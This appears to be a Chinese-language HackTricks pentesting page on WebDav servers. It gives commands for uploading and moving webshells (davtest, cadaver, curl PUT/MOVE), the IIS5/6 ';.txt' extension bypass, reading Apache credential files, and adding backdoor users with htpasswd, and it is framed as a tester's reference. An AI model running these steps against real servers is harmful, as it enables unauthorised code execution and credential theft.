WebDav

使用 Trickest 轻松构建和 自动化工作流,由世界上 最先进 的社区工具提供支持。 今天就获取访问权限:

支持 HackTricks

在处理 启用 WebDav 的 HTTP 服务器 时,如果您拥有正确的 凭据,通常通过 HTTP 基本认证 验证,则可以 操纵文件。控制此类服务器通常涉及 上传和执行 webshell

访问 WebDav 服务器通常需要 有效凭据WebDav 暴力破解 是获取它们的常用方法。

为了克服文件上传的限制,特别是那些阻止服务器端脚本执行的限制,您可以:

  • 如果没有限制,直接上传 带有 可执行扩展名 的文件。

  • 重命名 上传的非可执行文件(如 .txt)为可执行扩展名。

  • 复制 上传的非可执行文件,将其扩展名更改为可执行的扩展名。

DavTest

Davtest 尝试 上传多个不同扩展名的文件检查 扩展名是否 被执行

davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension

这并不意味着 .txt.html 扩展名被执行。这意味着你可以 通过网络访问这些文件

Cadaver

你可以使用这个工具 连接到 WebDav 服务器并执行操作(如 上传移动删除手动

cadaver <IP>

PUT 请求

curl -T 'shell.txt' 'http://$ip'

MOVE 请求

curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'

使用 Trickest 轻松构建和 自动化工作流,由世界上 最先进 的社区工具提供支持。 立即获取访问权限:

IIS5/6 WebDav 漏洞

这个漏洞非常有趣。WebDav 不允许 上传重命名 扩展名为 .asp 的文件。但你可以通过在名称末尾 添加 ";.txt"绕过 这个限制,文件将被 执行,就像它是一个 .asp 文件(你也可以 使用 ".html" 而不是 ".txt",但 不要忘记 ";")。

然后你可以将你的 shell 作为一个 ".txt" 文件 上传,并 复制/移动 到一个 ".asp;.txt" 文件。通过网络服务器访问该文件时,它将被 执行(cadaver 会说移动操作没有成功,但实际上是成功的)。

后置凭证

如果 Webdav 使用的是 Apache 服务器,你应该查看 Apache 中配置的网站。通常: /etc/apache2/sites-enabled/000-default

在其中你可能会找到类似的内容:

ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user

如您所见,存在具有有效凭据webdav服务器的文件:

/etc/apache2/users.password

在这类文件中,您将找到 用户名密码哈希。这些是 webdav 服务器用于验证用户的凭据。

您可以尝试 破解 它们,或者如果出于某种原因您想要 访问 webdav 服务器,可以 添加更多

htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password

要检查新凭据是否有效,您可以执行:

wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q

References

支持 HackTricks

使用 Trickest 轻松构建和 自动化工作流程,由世界上 最先进 的社区工具提供支持。 今天就获取访问权限:

Last updated